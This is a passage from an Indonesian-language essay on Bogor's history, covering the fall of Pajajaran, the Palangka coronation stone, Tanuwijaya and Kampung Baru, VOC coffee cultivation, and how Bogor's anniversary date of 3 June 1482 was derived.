penduduk dan para prajurit yang ditinggalkan. Namun ternyata Pakuan sanggup bertahan 12 tahun lagi. <br /><br /> <br /><br /> <br /><br />6. Raga Mulya (1567 - 1579) <br /><br /> <br /><br />Raja Pajajaran yang terakhir adalah Nusya Mulya (menurut Carita Parahiyangan). Dalam naskah-naskah Wangsakerta ia disebut Raga Mulya alias Prabu Suryakancana. Raja ini tidak berkedudukan di Pakuan, tetapi di Pulasari, Pandeglang. Oleh karena itu, ia disebut Pucuk Umun (=Panembahan) Pulasari. [Mungkin raja ini berkedudukan di Kaduhejo, Kecamatan Menes pada lereng Gunung Palasari]. <br /><br /> <br /><br />Menurut Pustaka Nusantara III/1 dan Kretabhumi I/2 : <br /><br /> <br /><br />"Pajajaran sirna ing ekadaca cuklapaksa Weshakamasa sewu limang atus punjul siki ikang Cakakala" <br /><br /> <br /><br />(Pajajaran lenyap pada tanggal 11 bagian terang bulan Wesaka tahun 1501 Saka). Kira-kira jatuh pada tanggal 8 Mei 1579 M. <br /><br /> <br /><br />Sejarah Banten memberitakan keberangkatan pasukan Banten ketika akan melakukan penyerangan ke Pakuan dalam pupuh Kinanti (artinya saja):<br /><br /> <br /><br />"Waktu keberangkatan itu terjadi bulan Muharam tepat pada awal bulan hari Ahad tahun Alif inilah tahun Sakanya satu lima kosong satu".<br /><br /> <br /><br />Walaupun tahun Alief baru digunakan oleh Sultan Agung Mataram dalam tahun 1633 M, namun dengan perhitungan mundur, tahun kejatuhan Pakuan 1579 itu memang akan jatuh pada tahun Alif. Yang keliru hanyalah hari, sebab dalam periode itu, tanggal satu Muharam tahun Alif akan jatuh pada hari Sabtu. <br /><br /> <br /><br />Yang terpenting dari naskah Banten tersebut adalah memberitakan, bahwa benteng kota Pakuan baru dapat dibobol setelah terjadi "penghianatan". Komandan kawal benteng Pakuan merasa sakit hati karena "tidak memperoleh kenaikan pangkat". Ia adalah saudara Ki Jongjo, seorang kepercayaan Panembahan Yusuf. Tengah malam, Ki Jongjo bersama pasukan khusus menyelinap ke dalam kota setelah pintu benteng terlebih dahulu dibukakan saudaranya itu. <br /><br /> <br /><br />Kisah itu mungkin benar mungkin tidak. Yang jelas justeru menggambarkan betapa tangguhnya benteng Pakuan yang dibuat Siliwangi. Setelah ditinggalkan oleh raja selama 12 tahun, pasukan Banten masih terpaksa menggunakan cara halus untuk menembusnya. <br /><br /> <br /><br />Dan berakhirlah jaman Pajajaran (1482 - 1579). Itu ditandai dengan diboyongnya Palangka Sriman Sriwacana, tempat duduk kala seorang raja dinobatkan, dari Pakuan ke Surasowan di Banten oleh pasukan Maulana Yusuf. Batu berukuran 200 x 160 x 20 cm itu terpaksa di boyong ke Banten karena tradisi politik waktu itu "mengharuskan" demikian. Pertama, dengan dirampasnya Palangka tersebut, di Pakuan tidak mungkin lagi dinobatkan raja baru. Kedua, dengan memiliki Palangka itu, Maulana Yusuf merupakan penerus kekuasaan Pajajaran yang "sah" karena buyut perempuannya adalah puteri Sri Baduga Maharaja. <br /><br /> <br /><br />Dalam Carita Parahiyangan diberitakan sebagai berikut: <br /><br /> <br /><br />"Sang Susuktunggal inyana nu nyieuna palangka Sriman Sriwacana Sri Baduga Maharajadiraja Ratu Haji di Pakwan Pajajaran nu mikadatwan Sri Bima Punta Narayana Madura Suradipati, inyana Pakwan Sanghiyang Sri Ratu Dewata. <br /><br /> <br /><br />(Sang Susuktunggal ialah yang membuat tahta Sriman Sriwacana (untuk) Sri Baduga Maharaja ratu penguasa di Pakuan Pajajaran yang bersemayam di keraton Sri Bima Punta Narayana Madura Suradipati yaitu istana Sanghiyang Sri Ratu Dewata). <br /><br /> <br /><br />Kata Palangka secara umum berarti tempat duduk (pangcalikan). Bagi raja berarti Tahta. Dalam hal ini adalah tahta penobatanyaitu tempat duduk khusus yang hanya digunakan pada upacara penobatan. Di atas Palangka itulah si (calon) raja diberkati (diwastu) oleh pendeta tertinggi. Tempatnya berada di kabuyutan kerajaan, tidak di dalam istana. Sesuai dengan tradisi, tahta itu terbuat dari batu dan digosok halus mengkilap. Batu tahta seperti ini oleh penduduk biasanya disebut batu pangcalikan atau batu ranjang (bila kebetulan dilengkapi dengan kaki seperti balai-balai biasa). Batu pangcalikan bisa ditemukan, misalnya di makam kuno dekat Situ Sangiang di Desa Cibalanarik, Kecamatan Sukaraja, Tasikmalaya dan di Karang Kamulyan bekas pusat Kerajaan Galuh di Ciamis. Sementara batu ranjang dengan kaki berukir dapat ditemukan di Desa Batu Ranjang, Kecamatan Cimanuk, Pandeglang (pada petakan sawah yang terjepit pohon). <br /><br /> <br /><br />Palangka Sriman Sriwacana sendiri saat ini bisa ditemukan di depan bekas Keraton Surasowan di Banten. Karena mengkilap, orang Banten menyebutnya watu gigilang. Kata gigilang berarti mengkilap atau berseri, sama artinya dengan kata sriman. <br /><br />Bogor Tunas Pajajaran<br /><br /> <br /><br />Mengapa bekas Pakuan itu kosong tanpa penghuni ketika ditemukan oleh Scipio dalam tahun 1687? Itulah pertanyaan yang seringkali terlontar dari banyak pihak. Dan paparan di bawah ini, mudah-mudahan, bisa menjelaskan.. <br /><br /> <br /><br /> <br /><br />1.Masa Tilem <br /><br /> <br /><br />Waktu antara "Pajajaran sirna" sampai "ditemukannya kembali" oleh ekspedisi Scipio (1867) berlangsung kira-kira satu abad. Kota yang pernah berpenghuni sekitar 48.271 jiwa ini ditemukan sebagai "puing" yang diselimuti oleh hutan tua (geheel met out bosch begroeijt zijnde; 1703). <br /><br /> <br /><br />Untuk jamannya, Bogor merupakan kota terbesar kedua di Indonesia setelah Demak yang berpenduduk 49.197 jiwa, dan masih dua kali lipat lebih banyak dari penduduk Pasai (23.121 jiwa) yang merupakan kota terbesar ketiga. <br /><br /> <br /><br />Pakuan tersisih dari percanturan hidup. Kemewahan yang ditampilkan oleh penghuni keraton dalam masa Nilakendra hanyalah ibarat kobaran api lilin menjelang padam. Setelah raja tak lagi berdiam di ibukota, kehidupan Pakuan sebagai pusat pemerintahan sebenarnya sudah berakhir. Panembahan Yusuf dari Banten memadamkannya "secara resmi" walaupun sebenarnya ia sudah berhasil mengakhiri kekuasaan Raga Mulya (Suryakancana) di Pulasari sebelum itu. Dan masa silam yang lebih sering memantulkan gema yang kabur itu, proyeksinya dapat kita lihat dalam lakon pantun dan babad. <br /><br /> <br /><br />Penduduk Kedunghalang dan Parung Angsana sendiri yang mengantarkan Scipio pada 1 September 1987, menjadi peziarah pertama setelah terpisah satu abad dengan kehidupan Pakuan. Tak heran, mereka menduga puing kabuyutan Pajajaran yang mereka temukan sebagai singggasana raja. <br /><br /> <br /><br />Dalam tahun 1703, Abraham van Riebeeck sudah melihat adanya sajen yang diletakkan di atas piring di kabuyutan tersebut. Jadi sejak ditemukan rom an Scipio, orang merasa "bertemu kembali" kembali dengan Pajajaran yang telah hilang. <br /><br /> <br /><br />Tahun 1709, Van Riebeeck melihat ladang baru pada lereng Cipakancilan. Tanda kehidupan baru di bekas Pakuan mulai muncul. Mudah diperkirakan bahwa peladang itu akan membuat dangau tempat tinggalnya pada tepi alur Cipakancilan yang tidak kelihatan oleh Van Riebeeck karena ia berkuda pada jalur Jalan Pahlawan yang sekarang. <br /><br /> <br /><br />Lain lahan lain pikiran. Pakuan bukan hanya lahan melainkan juga kenangan. Lahannya "dihidupkan kembali" tetapi kerajaanya takkan kembali. Inilah yang dirindukkan dan disenandungkan oleh para pujangga dalam karyanya setiap kali gema Pajajaran menyentuh hati mereka: <br /><br /> <br /><br />"Geus deukeut ka Pajajaran ceuk galindeng Cianjuran, Jauh keneh ka Pakuan ceuk galindeng panineungan". <br /><br /> <br /><br />(Sudah dekat ke Pajajaran menurut lantun Cianjuran, Masih jauh ke Pakuan menurut lantun Kenangan) <br /><br /> <br /><br />Pakuan terasa dekat, tetapi tak kunjung sampai. Kedekatan batin terhadap Pajajaran ini akhirnya menjelmakan gagasan Pajajaran Ngahiang atau Pajajaran Tilem seperti orang Ciamis yang kehilangan Galuhnya mencetuskan dunia onom. <br /><br /> <br /><br />"Pajajaran henteu sirna, tapi tilem ngawun-ngawun" (Pajajaran tidak hilang, Pakuan hanya ngahiang). Ini adalah kata-kata orang tua yang tidak mau kehilangan Pajajarannya, bahkan mereka berani menghibur diri dengan berkata: "Ngan engke bakal ngadeg deui" [Suatu saat akan berdiri kembali). <br /><br /> <br /><br />2. Tanuwijaya peletak dasar "Negeri Bogor" <br /><br /> <br /><br />Riesz dalam De Geschiedenis van Buitenzorg (1887) menjelaskan bahwa Tanuwijaya adalah orang Sunda dari Sumedang yang berhasil membentuk "pasukan pekerja" dan mendapat perintah dari Camphuijs untuk membuka hutan Pajajaran sampai akhirnya ia mendirikan Kampung Baru yang menjadi tempat "kelahiran" (de bakermat) Kabupaten Bogor yang didirikan kemudian. <br /><br /> <br /><br />Adapun Tanuwijaya, dalam catatan VOC disebut Luitenant der Javanen (Letnan orang-orang Jawa) dan merupakan Letnan Senior di antara teman-temannya. Kampung Baru yang didirikannya ada di Cipinang (Jatinegara) dan di Bogor. Yang di Bogor mula-mula bernama Parung Angsana. Tetapi ketika Tanuwijaya pindah dari Kampung Baru Cipinang ke sana, ia kemudian memberi nama Kampung Baru. Sekarang bernama Tanah Baru. <br /><br /> <br /><br />Terpengaruh oleh kunjungannya ke bekas Ibukota Pakuan bersama Scipio, ia kemudian ingin mendekatkan diri dengan peninggalan Siliwangi. Kampung-kampung seperti Parakan Panjang, Parung Kujang, Panaragan, Bantar Jati, Sempur, Baranangsiang, Parung Banteng dan Cimahpar adalah kampung-kampung yang didirikan Tanuwijawa bersama pasukannya. Kampung Baru (Parung Angsana) saat itu sudah menjadi semacam "pusat pemerintahan" bagi kampung-kampung yang didirikan secara terpencar oleh anak buahnya. <br /><br /> <br /><br />Tanuwijaya pula yang mengambil inisiatif membuat garis batas antara daerah pemukiman orang-orang Banten dengan orang-orang Kumpeni ketika rakyat Pangeran Purbaya mulai membangun pemukiman pada daerah aliran Cikeas.Sementara, daerah aliran Ciliwung antara Kedung Badak sampai Muara Beres telah ditempati orang-orang Mataram yang tidak mau kembali ke daerah asalnya setelah tercapainya persetujuan antara Mataram dan VOC tahun 1677. Sebagian dari mereka adalah pelarian pasukan Bahurekso, sebagian lagi kelompok resmi yang dikirimkan Sunan Amangkurat I tahun 1661 ke Muara Beres, bekas basis pasukan Rakit Mataram ketika mengepung Benteng Batavia. <br /><br /> <br /><br />Rasa hormat Tanuwijaya terhadap bekas Ibukota Pakuan demikian besar sampai gerakan okupasinya dihentikkan pada sisi utara Ciliwung. Ia tidak berani melintasinya. Juga kepada rekan-rekannya yang berniat melintasi sungai tersebut dianjurkan agar melakukannya jauh di sebelah hulu (Ciawi dan Cisarua).<br /><br /> <br /><br />Almarhum M.A. Salmun pernah menulis dalam Majalah Intisari (salah satu nomor tahun pertama), bahwa yang dimaksud Menak ki Mas Tanu dalam lirik lagu Ayang-Ayang Gung ya Tanuwijaya ini. Benar tidaknya, wallaohualam. Tapi, hampir tiap baris lirik lagu itu dapat diterapkan kepada keadaan Tanuwijaya dalam riwayat hidupnya. Ia memang anak emas Kumpeni dan dibenci rekan-rekannya. Ia ditunjuk Camphuijs menggantikan Letnan Pangirang (orang Bali. Atau Makassar?) untuk membuka daerah selatan. <br /><br /> <br /><br />Di luar itu, rupa-rupanya, kedekatan batin Tanuwijaya dengan Pajajaran telah melonggarkan ketaatannya terhadap Kumpeni. Ia tentu merasakan bagaimana tidak masuk akalnya seorang letnan seperti dirinya harus tunduk kepada seorang sersan seperti Scipio yang kulit putih, padahal ia sendiri menjadi atasan sersan pribumi. Akhirnya "anak emas" Kumpeni ini menjadi sekutu dan pelindung Haji Perwatasari yang bangkit mengangkat senjata terhadap perluasan daerah kekuasaan VOC. Meskipun, ia ditakdirkan jadi pihak yang kalah. Sebagaimana Haji Perwatasari, Tanuwijaya dibuang ke Tanjung Harapan di Afrika. <br /><br /> <br /><br />Orang dulu menyindir Tanuwijaya dengan "lempa lempi lempong, ngadu pipi jeung nu ompong" (mengejar harapan kosong, bermesraan dengan orang tak bergigi). Yang dimaksudkan dengan "orang tak bergigi" di sini adalah Perwatasari yang kalah dalam perjuangan. <br /><br /> <br /><br />Dalam masa penjajahan Belanda, penyusun Babad Bogor (1925), tidak berani mencantumkan nama Tanuwijaya sebagai "bupati pertama". Dalam daftar silsilah biasanya selalu dicantumkan Mentengkara atau Mertakara, kepala Kampung Baru yang ketiga (1706 - 1718), yang menurut De Haan, adalah putera Tanuwijaya. Sebaliknya, para penulis Belanda, lebih leluasa menyebutkan Tanuwijaya sebagai Bupati Kampung Baru pertama dan peletak dasar Kabupaten Bogor.<br /><br /> <br /><br />Pengalaman Tanuwijaya dengan Kumpeni adalah mirip dengan pengalaman Untung Surapari. Akan tetapi, jika benar lirik Ayang-ayang Gung diciptakan untuk menyindir Tanuwijaya, maka kita patut merenungkannya kembali.<br /><br /> <br /><br />Tahun 1745, sembilan distrik -- yaitu Cisarua, Pondok Gede, Ciawi, Ciomas, Cijeruk, Sindangbarang, Balubur, Darmaga dan Kampung Baru -- digabungkan menjadi satu "pemerintahan" di bawah kepala Kampung Baru dan diberi gelar Demang. Gabungan sembilan distrik inilah yang dahulu disebut "Regentschap Kampung Baru" atau "Regentschap Buitenzorg". Atas dasar itulah kedua sungai (Cisadane dan Ciliwung) dalam lambang Kabupaten Bogor masing-masing digambarkan dengan sembilan baris gelombang. Ada benarnya apa yang dikemukakan Riesz, bahwa Kampung Baru (Tanah Baru) adalah "de bakermat" (tempat kelahiran) Kabupaten Bogor. <br /><br /> <br /><br />3. Letusan Gunung Salak <br /><br /> <br /><br />Pada malam hari tanggal 4 dan 5 Januari 1699, Gunung Salak meletus dengan iringan gempa bumi yang sangat kuat. Sebuah catatan dari tahun 1702 menceritakan keadaan yang diakibatkannya: <br /><br /> <br /><br />"Dataran tinggi antara Batavia dengan Cisadane di belakang bekas keraton raja-raja Jakarta yang disebut Pakuan yang asalnya berupa hutan besar, setelah terjadi gempa bumi berubah menjadi lapangan yang luas dan terbuka tanpa pohon-pohonan sama sekali. <br /><br /> <br /><br />Permukaan tanah tertutup dengan tanah liat merah yang halus, seperti yang biasa digunakan tukang tembok. Di beberapa tempat telah mengeras sehingga dapat menahan beban langkah yang berjalan di atasnya, tetapi pada tempat-tempat lain orang dapat terbenam sedalam satu kaki. <br /><br /> <br /><br />Di tempat bekas keraton yang disebut Pakuan yang terletak di antara Batavia dengan Cisadane belum pernah terjadi bencana lain yang menyebabkan tanah tersobek dan pecah terbelah-belah menjadi retakan-retakan besar yang lebih dari satu kaki lebarnya". <br /><br /> <br /><br />Berita lain mencatat bahwa aliran Ciliwung dekat muaranya tersumbat sepanjang beberapa ratus meter akibat lumpur yang dibawanya. Van Riebeeck yang membersihkan sumbatan itu mengajukan tuntutan agar tanah Bojong Manggis dan Bojong Gede diberikan kepadanya sebagai upah. <br /><br /> <br /><br />Untuk meneliti akibat gempa ini, Kumpeni mengirimkan ekspedisi Ramp & Coops dalam tahun 1701 ke kaki Gunung Pangrango. Dari survei ini diberitakan bahwa aliran Cikeumeuh masuk terbenam ke dalam tanah dan sobekan puncak Gunung Salak menghadap ke arah barat laut. Diperkirakan, tanah yang terbelah hebat itu terjadi antara Ciliwung dan Cisadane. Dan panen batu dan pasir di daerah Ciapus saat ini, bisa disebut, merupakan hadiah yang ditinggalkan letusan Gunung Salak di akhir abad 17 itu. <br /><br /> <br /><br />Tak ada berita mengenai nasib penduduk sepanjang aliran Ciliwung waktu itu. Hanya saja pada tahun 1701, penduduk Kampung Baru masih dapat mengantar rom a Ram & Coops tadi. Selain itu Abraham van Riebeeck tidak mencatat apa-apa mengenai sisa-sisa akibat letusan itu. Ini menunjukkan bahwa kehidupan penduduk yang masih jarang itu tidak terganggu. Bahkan, tahun 1704, Van Riebeeck mendirikan pondok peristirahatan di Batutulis karena ia menganggap Gunung Salak sudah tidak menakutkan lagi. <br /><br /> <br /><br />4. Kopi membuka Cakrawala Baru <br /><br /> <br /><br />Usaha Gubernur Jenderal Henricus Zwaardecroon (1718 - 1725) membiakkan tanaman kopi di sekitar benteng Batavia berhasil baik. Tahun 1721 hasil kopi sudah bisa dihasilkan di beberapa daerah, diantaranya: <br /><br /> <br /><br />DAERAH PRODUKSI (dalam pikul)<br /><br /> <br /><br />Kampung Baru 61. 000 <br /><br />Kedung Badak 1. 596 <br /><br />Cipamingkis 43. 825 <br /><br />Cianjur & Jampang 59. 900 <br /><br />Cibalagung 5. 750 <br /><br />Cikalong 4. 350 <br /><br />Bekasi 482 <br /><br />Jati Nagara 8. 450 <br /><br />Cibadak 250 <br /><br />Pager Wesi 800 <br /><br />Tangerang 1. 800 <br /><br /> <br /><br />Melihat hasil yang baik ini, sejak 15 April 1723, tanaman kopi juga wajib ditanamkan di tanah-tanah swasta sekitar Jakarta. Sejak saat itu, mulailah apa yang disebut Sistem Priangan, Preanger Stelsel, yang berlangsung selama dua abad lamanya. Tahun 1724, Wiranata III (Bupati Cianjur) telah dapat memanen kopi sebanyak 1.216.257 pikul, yang nilainya kala itu 202. 271,25 ringgit. <br /><br /> <br /><br />Selain kopi, tanaman yang diwajibkan dalam "stelsel" itu adalah kapas, lada dan tarum (indigo). Toh, kopilah yang jadi primadona. Maklum, tanaman itu menjadi komoditi utama Hindia Belanda di pasar dunia. Produk kopi dari Jawa Barat ini laku keras di Meksiko dan telah berjasa menolong Kas Keuangan Pemerintah Hindia Belanda zaman Daendels. Saat itu, hubungan ke negeri Belanda terputus akibat peperangan antara Prancis dan Inggris. Atas dasar ini Jawa Barat mendapat julukan gabus pelampung Pemerintah Hindia Belanda di Indonesia. <br /><br /> <br /><br />Politik dan sistem pemerintahan Belanda di Jawa Barat selalu disesuaikan<br /><br />dengan kepentingan kopi ini. Meskipun, untuk itu mereka menerapkan sistem tersendiri untuk setiap wilayah. Sistem tanam paksa yang hanya berlaku di Cirebon disebut urstelsel. <br /><br /> <br /><br /> <br /><br /> <br /><br /> <br /><br />Hari Jadi Bogor <br /><br />1. Tanggal yang menjadi acuan <br /><br /> <br /><br />Hari jadi, dalam kaitan apapun juga, menyangkut identitas. Salah satu identitas Bogor yang cukup n di Jawa Barat adalah latar belakang sejarahnya karena di Bogor inilah terletak Ibukota Pajajaran dan di sini pula Siliwangi pernah hidup dan memerintah. Dua serangkai ini, Pajajaran dan Siliwangi, merupakan salah satu kebanggan masyarakat Jawa Barat. Wajar sekali bila Pemerintah Daerah Kotamadya dan Kabupaten Bogor sepakat mengambil titik awal identitasnya dari dua serangkai ini. <br /><br /> <br /><br />Telah diungkapkan bahwa Jaman Pajajaran dimulai dengan pemerintahan Sri Baduga Maharaja yang dikenal dengan sebutan Prabu Siliwangi. Sri Baduga<br /><br />mulai memerintah tahun 1482 dan berlangsung selama 39 tahun. Sejak dia memerintah Pakuan dijadikan ibukota kerajaan menggantikan Kawali.<br /><br /> <br /><br />Peristiawa kepindahan itulah yang dijadikan titik tolak perhitungan hari jadi Bogor. <br /><br /> <br /><br />Hubungan antara Bogor dengan peristiwa masa lalu sebenarnya tak sulit dicari karena sejak lama disadari oleh orang-orang tua. Entje Madjid salah satunya (tokoh seni awal abad ke-20) sudah lama mencetuskan lirik "Pajajaran tilas Siliwangi, wawangina kasilih jenengan, kiwari dayeuhnya Bogor" (Pajajaran peninggalan Siliwangi, namanya semerbak mewangi, kini kotanya Bogor). <br /><br /> <br /><br />Jadi beliau telah mengambil kesimpulan bahwa dayeuh Bogor adalah pengganti dayeuh Pajajaran. <br /><br /> <br /><br />Pengambilan angka tahun 1482 berpijak pada telaah sejarah karena sumber yang ada akan menampilkan angka tahun itu sebagai awal masa pemerintahan Sri Baduga Maharaja (Prabu Siliwangi). Untuk bulan dan tanggal rupanya harus ditelusuri dari sumber sejarah dengan berpijak pada upacara tradisional dengan nama Gurubumi dan Kuwerabakti karena sumber-sumber sejarah itu tidak menuliskan secara eksplisit mengenai bulan dan tanggalnya. <br /><br /> <br /><br />Berikut adalah penjelasan mengenai upacara Gurubumi dan Kuwerabakti: Dalam Lakon Ngahiyangnya Pajajaran dikisahkan, bahwa di Ibukota Pajajaran selalu diadakan upacara Gurubumi dan Kuwerabakti setiap tahun. Dalam upacara itu hadir para pembesar dan raja-raja daerah. Upacara itu dimulai 49 hari setelah penutupan musim panen dan berlangsung selama sembilan hari dan kemudian ditutup dengan upacara Kuwerabakti pada malam bulan purnama. <br /><br /> <br /><br />Kisah dari Pantun ini didukung oleh sumber lainnya. Misalnya, Kropak 406 yang memberitakan bahwa raja-raja daerah harus datang menghadap ke Pakuan setiap tahun. Di antara barang antaran yang dibawa raja-raja daerah, ikut serta juga "Anjing Panggerek" (Anjing Pemburu). Jadi dalam waktu perayaan yang sembilan hari itu, kegiatan berburu juga dilakukan. Tome Pires menyebutkan, bahwa "the king is great sportman and hunter" (Raja adalah olahragawan dan pemburu yang ulung). <br /><br /> <br /><br />Fakta lain yang mendukung adalah upacara Gurubumi ini masih biasa dilakukan di daerah pakidulan (bagian selatan Banten dan Sukabumi). Mengenai Kuwerabakti, para sesepuh di Sirnaresmi mengemukakan bahwa upacara itu hanya dilakukan di dayeuh. Meskipun Sirnaresmi ini terletak di Kecamatan Cisolok - Sukabumi, yang dimaksud dayeuh di sini adalah Bogor karena upacara Kuwerabakti ini dulu hanya dilakukan di Ibukota Pajajaran. Kaum adat Sirnaresmi adalah keturunan para pengungsi dari Pakuan waktu kota ini diserang Banten. <br /><br /> <br /><br />Dari cerita terdahulu digambarkan bahwa latar belakang kebudayaan masyarakat Pajajaran adalah pertanian ladang. Di Jawa Barat, masyarakat ladang murni hanya tinggal Masyarakat Baduy di Kanekes (Kecamatan Leuwidamar, Kabupaten Lebak). Dalam hal ini, yang berkaitan dengan Upacara Gurubumi dan Kuwerabakti adalah siklus pertaniannya, terutama menyangkut musim panennya. Kalender Pertanian Masyarakat Baduy sejalan dengan pranatamangsa yang pada masa lalu juga digunakan oleh masyarakat tani di seluruh Pulau Jawa dan Bali. <br /><br /> <br /><br />Perbedaan usia bulan memang ada, tetapi jumlah hari dalam setahun tetap sama, yaitu 365 hari. Kedua kalender itu pun berpedoman kepada bentang waluku (bentang=bintang), yang di Kanekes dan Kiarapandak (Cigudeg), juga disebut bentang kidang (Sunda). Gugus bintang ini terletak pada rasi Orion. Kadang-kadang juga digunakan gugus bintang tetangganya, yaitu Kereti (Kartika atau Pleyades) yang terdapat pada rasi Taurus. Pengamatan astronomi traditional ini bertujuan untuk mengamati musim, sebab baik di ladang maupun di sawah, musim tanam padi harus pada musim labuh (Sunda: dangdangrat), yaitu musim hujan awal yang jatuh pada minggu ketiga bulan September. Musim panen jatuh pada bulan Maret karena usia padi rata-rata 5 bulan 10 hari, kecuali padi jenis Hawara yang usianya lebih pendek.<br /><br /> <br /><br />Untuk lebih jelas, mungkin patut diketahui: Kalender Baduy diawali dengan Kapat atau Sapar. Upacara musim panen di Kanekes hanya diadakan di Kajeroan yaitu upacara Kawalu. Upacara pergantian tahun (Ngalaksa) diadakan tiga hari sebelum tahun berganti. Upacara Kawalu jatuh pada bulan Maret, sedangkan upacara Ngalaksa di adakan Bulan Katiga (pranatamangsa: Sada) yang jatuh pada bulan Juni.<br /><br /> <br /><br />Dari uraian Pantun di atas diperkirakan bahwa untuk tahun 1482, upacara Kuwerabakti dilangsungkan pada tanggal 2 Juni, malam 3 Juni. Pada tanggal 3 Juni 1482 inilah secara resmi kegiatan upacara selama sembilan hari di Ibukota itu berakhir. <br /><br /> <br /><br />Upacara Gurubumi yang diadakan 49 hari setelah panen tentunya bukan tiada maksud. Lamanya penyelanggaraan upacara itu dimaksudkan agar raja-raja daerah berkesempatan mengadakan upacara penutupan panen di daerahnya masing-masing sebelum berangkat ke ibukota. Seperti yang masih terjadi di Kanekes. Upacara di daerah itu jatuh pada sekitar bulan Maret.<br /><br /> <br /><br />Dan yang menjadi titik perhatian dalam masalah ini adalah mulai berfungsinya kembali Pakuan sebagai pusat pemerintahan. Wajar sekali bila peristiwa itu dirayakan dan disyukuri yang bersamaan dengan memberikan pengumuman kepada raja-raja daerah bahwa sejak saat itu pusat pemerintahan ada di Pakuan. <br /><br /> <br /><br />Dalam naskah Wangsakerta yang mengandung nilai sejarah lebih tinggi dibanding naskah-naskah tradisional diberitakan, bahwa waktu itu Sri Baduga baru dinobatkan dan beberapa hari menempati kedatuan Sri Bima. Dengan demikian dapat diperkirakan bahwa penobatan Sri Baduga Maharaja menjadi Susuhunan Pajajaran terjadi pada bulan Maret/April tahun 1482. <br /><br /> <br /><br />Maka, perayaan besar dan peresmian Pakuan menjadi pusat pemetintahan tentu dilangsungkan dalam peristiwa upacara Gurubumi dan Kuwerabakti terdekat. Untuk 1482, upacara dimulai tanggal 25 Mei dan ditutup 9 hari kemudian. <br /><br /> <br /><br />2. Bogor sebagai alur kehidupan <br /><br /> <br /><br />Topografi Pakuan dibentuk oleh dua sungai, yaitu Cisadane dan Cihaliwung sehingga tak heran kalau kedua sungai itu selalu disebut dalam rajah pantun. Sisipan ha pada Cihaliwung hanyalah melengkapi suku kata menjadi delapan buah untuk kepentingan matra. Oleh karena itu tak perlu disalah tafsirkan dengan selokan kecil Cihaliwung pada alur Cikahuripan di belakang Pajaratan Embah Dalem di Batutulis.<br /><br /> <br /><br />Kelengkapan alami di Pakuan ini disempurnakan oleh Dalem Aria Natanagara dengan pembuatan saluran yang menghubungkan Cisadane dan Ciliwung. Karya besar ini sebenarnya tidak kalah nilainya dengan Parit Pakuan Karya Prabu Siliwangi yang membentang sepanjang jalur rel kereta api dari Jembatan Bondongan sampai Station Batutulis. <br /><br /> <br /><br />Pembangunan saluran buatan itu sebenarnya dimaksudkan untuk mengairi pesawahan yang waktu itu masih dibangun. Akan tetapi oleh orang-orang tua peristiwa itu ditanggapi dari sisi lainnya. Pak Cilong menganggap pembuatan saluran itu sebagai suatu "perkawinan alur hidup". Ia mengartikan kejadian itu dengan "Ngadanikeun nu laliwung" (menyadarkan yang pada bingung).<br /><br /> <br /><br />Menurut Pak Cilong, dane atau dani artinya sadar atu eling, arti kiasannya jernih, benih yang sewarna dengan putih. Sedangkan liwung diartikan bingung atau kusut pikiran, arti kiasannya keruh, kusam yang sewarna dengan hitam.<br /><br /> <br /><br />Pandangan orang tua ini sejalan dengan pandangan umum yang menilai kehidupan dari sudut serba-dua. Misalnya jasad yang fana (terdiri atas materi dan menjadi sarang nafsu) dan jiwa yang abadi (yang lembut supra-materi dan menjadi sumber budi). Demikianlah putih dan hitam yang dijadikan perlambang kehidupan dan itu pulalah makna Cisadane dan Ciliwung yang, menurut Pak Cilong, airnya dipadukan melalui alur Cipakancilan.<br /><br /> <br /><br />Sejalan dengan hal di atas, ada kenyataan ganjil pada cara berpakain orang Baduy di Kanekes. Tumbuhan tarum untuk bahan mencelup pakaian terdapat di seluruh daerah ini. Akan tetapi tradisi mereka tetap mengharuskan orang Kajeroan tetap berikat kepala putih, sedangkan orang Panamping berikat kepala biru kehitaman (karena dicelup dengan tarum atau nila?). <br /><br /> <br /><br />Tentu saja kenyataan seperti ini bukan hanya masalah teknis. Lihat saja pada Sundapura (Kota Sunda), ibukota kerajaan Taruma yang dibangun Purnawarman. Kata Sunda (menurut Macdonell) mengandung arti putih atau bersih, ini sejalan dengan arti dani atau dane. Sedangkan Tarum mengandung arti nilai yaitu warna antara biru dengan hitam, dan ini sejalan dengan arti liwung.<br /><br /> <br /><br />Brigjen Polisi Purnawarman R. Gojali Suriamijaya dan Alm. Dadang Ibnu, salah satu pembantu Oto Iskandardinata, dari Sukaraja mengajukan kisah yang sama, bahwa lambang Galuh adalah harimau kumbang, sedangkan lambang Pajajaran adalah harimau putih. Di sini yang ditonjolkan bukan harimaunya, melainkan warnanya, yaitu warnah putih dan kumbang (warna antara birudengan hitam). Jadi pola ini menunjukkan hal sama dengan pola sebelumnya. <br /><br /> <br /><br />Orang Pulau Jawa sendiri menyadap kata wyaghra dari bahasa Sangsakerta yang mengandung arti hariamu atau pahlawan. Dalam Pustaka Pararatwan i Bhumi Jawadwipa parwa I sarga 1, dikisahkan bahwa Purnawarman yang selalu unggul dalam peperangan itu dijuluki Wyaghra Ning Tarumanagara atau Harimau Tarumanagara. Jadi, ada tradisi yang mengasosiasikan harimau dengan perbuatan kepahlawanan.<br /><br /> <br /><br />Ki Buyut Rambeng dalam lakon Dadap Malang menggunakan sebutan maung selang untuk para senapati Pajajaran. Konon, harimau ini kecil tetapi terkenal garang (menurut Coolsma, "tijger met zwarte grondkleur roode strepen" = harimau dengan bulu dasar hitam bergaris merah)]. <br /><br /> <br /><br />Patung Harimau peninggalan masa silam belum ditemukan, tetapi agama Budha memperkenalkan patung singa pengawal seperti tampak di pelataran Candi Borobudur. Singa adalah lambang Sidharta Gautama yang sebelum menjalani kehidupan sebagai Budha menjadi pahlawan bangsanya dengan gelar Ksatria Sakyasimha (singa bangsa Sakya). <br /><br /> <br /><br />Ikonografi di Borobudur menampilkan patung singa-pengawal dengan sikap duduk seragam seperti Spinx dekat Piramida Gizeh di Mesir. Duduk pada kaki belakang dan bertopang pada keduakaki depan yang dilipat menjulur ke depan sambil menegakkan dada. Itulah sikap santai, tenang dan anggun tetapi penuh kewaspadaan tanpa menampilkan sikap mengancam. Dengan sikap duduk seperti itu, hewan jenis harimau dan singa dapat langsung berdiri dengan sekali gerakan lompat. <br /><br /> <br /><br />Masyarakat traditional di Jawa Barat pada tahun 1930-an selalu membuat tabungan (cengcelengan) berbentuk harimau dengan sikap duduk sepertisinga-pengawal di Borobudur itu. Hal ini tentu saja diwarisinya turun-temurun. <br /><br /> <br /><br />Itulah kajian yang melatar-belakangi sikap duduk patung harimau di depan Balai Kota Bogor.<br /><br /> <br /><br />Pertanyaannya sekarang 